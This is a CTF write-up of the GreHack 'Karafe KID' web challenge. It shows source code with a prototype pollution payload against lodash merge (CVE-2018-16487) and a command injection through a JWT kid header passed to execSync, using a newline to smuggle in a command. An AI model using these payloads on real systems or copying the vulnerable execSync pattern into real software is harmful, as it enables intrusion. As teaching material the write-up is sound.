Introduction

This year, I was happy to be part of the organization committee for the GreHack conference and I created a few challenges for the CTF. Thanks to all the participants and organizers, the event was once again awesome 🔥 💚 Thanks to Elweth with whom it’s a pleasure to create this challenge!

Challenge

  • Name : Karafe KID
  • Category : Web
  • Solves : 4
  • Points : 400
  • Authors : Nishacid, Elweth

During a CTF, you come across this platform that serves as an API for solving math calculations related to CTFs. You find the site’s behavior weird, and decide to take a look at the application’s code.

Recon

This challenge starts with a simple web application that shows us the API routes used to perform a mathematical function, and there’s a function to view the challenge’s source code.

Looking at the source code, we can see that there is an admin route that is only accessible to users who have the user object set to CheckIfAdmin at True. We can also see that there’s a typo in the object that uses CheckifAdmin and the CheckIfAdmin condition.

// const variables
const port = 3000

let user = {
    username: 'Ronald Rivest',
    spec: 'RSA',
    CheckifAdmin: false
};

// SNIPPED

// Route admin
app.get('/admin', (req, res) => {
    if (user.CheckIfAdmin) {
        const token = req.cookies.token;
    // SNIPPED
    return res.status(403).json({ message: 'You are not admin.' });
});

That’s how we started to get the idea that we needed to pollute the object to match the condition. Continuing in the source code review, we notice that the API use the merge function of the loldash library.

const _ = require("lodash");

// SNIPPED

app.post('/api/polynome', (req, res) => {
    console.log('Data:', req.body);
    let array = {
        a: 0,
        b: 0,
        c: 0
    };
    _.merge(array, req.body);
    let { a, b, c } = array;

Exploiting

After some digging, we found a known vulnerability (CVE-2018-16487) on this function and library called Prototype Pollution. We can change and pollute the value of an object, exactly what we need here.

{"a": "2", "__proto__": { "CheckIfAdmin": true }}

There’s no specific message indicating whether our payload worked or not, but we can try accessing /admin again now, and see that it was successful.

According to the source code of the /admin route, a JSON Web Token (JWT) is defined on our first login.

// Route admin
app.get('/admin', (req, res) => {
    if (user.CheckIfAdmin) {
        const token = req.cookies.token;
        // first login
        if (!token){
            console.log('No token provided. Giving one');

            const keyFiles = readdirSync('./keys');
            if (keyFiles.length === 0) {
                console.log('No key files found.');
                return res.status(500).json({ message: 'No key files found.' });
            }
            const kid = keyFiles[0];
            const jwtSecret = fs.readFileSync(`./keys/${kid}`, 'utf8');

            const token = jwt.sign({ username: user.username, admin: true }, jwtSecret, { expiresIn: '4h', header: { kid } });
            console.log(token);

            res.cookie('token', token, { httpOnly: true });
            return res.sendFile('views/admin.html', {root: __dirname});
        }

As can be seen, the application uses a security system to sign the JWT with a Key Identifier (KID). It appears that these keys are defined with an UUID which corresponds to a filename in the keys/ directory. The idea is that files (and secrets) can be rotated, which means that even if a key leaks, it can be easily replaced.

According to the source, when the administrator makes a request on the endpoint, the JWT is parsed and the KID value is extracted, then the secret is checked against the UUID in the value.

// get the JWT Header
let header;
try {
    header = JSON.parse(Buffer.from(token.split('.')[0], 'base64').toString());
} catch (error) {
    console.log('Failed to decode JWT header:', error.message);
    return res.status(400).json({ message: 'Failed to decode JWT header.' });
}

// get the KID 
const kid = header.kid;
if (!kid) {
    console.log('No kid found in JWT header.');
    return res.status(400).json({ message: 'No kid found in JWT header.' });
}

// check if only uuid are used
const allowedChars = /^[a-zA-Z0-9_\s\.-]+$/ 
if (!allowedChars.test(kid)) {
    console.log('Forbidden characters in kid.');
    return res.status(400).json({ message: 'Forbidden characters in kid.' });
}

// fetch the KID file
let keyFile;
try {
    keyFile = execSync(`find ./keys -name ${kid}`).toString().trim();
} catch (error) {
    console.log('Failed to find key file:', error.message);
    return res.status(500).json({ message: 'Failed to find key file.' });
}

if (!keyFile) {
    console.log('No key file found.');
    return res.status(400).json({ message: 'No key file found.' });
}

// retrive secret from file
const jwtSecret = fs.readFileSync(keyFile, 'utf8');
try {
    jwt.verify(token, jwtSecret);
} catch (error) {
    console.log('Failed to verify JWT:', error.message);
    return res.status(403).json({ message: 'Failed to verify JWT.' });
}

return res.sendFile('views/admin.html', {root: __dirname});

The interessting part of this system, is that the JWT can’t be verified before the application retrive the secret from the file, so we can alter the KID field without needed of the JWT verification signature.
The other interesting point is the execSync() function, which executes a find command to retrieve the file based on the UID filename, validated by a regex and parsed from the KID field, which we can edit.

The regex seems to match only the UUID, but we can see by trying to match other UUIDs on [regex101.com] (https://regex101.com/) that according to the regex \s, whitespace and therefore new line are accepted.

If we visualize it in the code, it will interpret it this way :

keyFile = execSync(`find ./keys -name uuid\n id`).toString().trim();

And finally, if we try it directly on the application, we get the id command back in the stacktrace.

Then simply print the flag in the application folder.

  • Flag : GH{A-Typ0_Pollut3d_My_K1D}

Ressources